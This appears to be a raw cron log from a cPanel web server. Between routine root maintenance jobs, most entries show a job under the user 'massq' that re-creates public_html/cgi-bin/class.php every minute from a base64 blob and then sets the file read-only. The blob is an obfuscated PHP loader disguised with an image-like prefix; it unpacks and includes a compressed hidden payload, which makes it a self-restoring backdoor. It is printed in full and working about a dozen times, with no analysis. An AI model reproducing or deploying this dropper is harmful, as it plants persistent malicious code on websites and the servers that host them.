Sep  8 22:52:01 server CROND[15727]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:53:01 server CROND[16105]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:53:01 server CROND[16104]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:53:01 server CROND[16106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:54:01 server CROND[16479]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:54:01 server CROND[16480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:54:01 server CROND[16481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:55:01 server CROND[16976]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 22:55:01 server CROND[16985]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:55:01 server CROND[16983]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 22:55:01 server CROND[16986]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 22:55:01 server CROND[16984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:55:01 server CROND[16988]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:55:01 server CROND[16987]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 22:56:01 server CROND[17836]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:56:01 server CROND[17837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:56:01 server CROND[17838]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:57:01 server CROND[18224]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:57:01 server CROND[18225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:57:01 server CROND[18226]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:57:01 server CROND[18227]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 22:58:01 server CROND[18611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:58:01 server CROND[18612]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:58:01 server CROND[18613]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:59:01 server CROND[19029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:59:01 server CROND[19030]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:59:01 server CROND[19034]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:00:01 server CROND[19479]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 23:00:01 server CROND[19480]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 23:00:01 server CROND[19483]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 23:00:01 server CROND[19489]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 23:00:01 server CROND[19487]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  8 23:00:01 server CROND[19490]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:00:01 server CROND[19488]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:00:01 server CROND[19491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:00:01 server CROND[19492]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 23:01:01 server CROND[20359]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 23:01:01 server CROND[20360]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:01:01 server CROND[20361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:01:01 server CROND[20362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:01:01 server run-parts(/etc/cron.hourly)[20359]: starting 0anacron
Sep  8 23:01:01 server run-parts(/etc/cron.hourly)[20382]: finished 0anacron
Sep  8 23:02:01 server CROND[20743]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:02:01 server CROND[20744]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:02:01 server CROND[20746]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:03:01 server CROND[21125]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:03:01 server CROND[21126]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:03:01 server CROND[21127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:04:01 server CROND[21512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:04:01 server CROND[21515]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
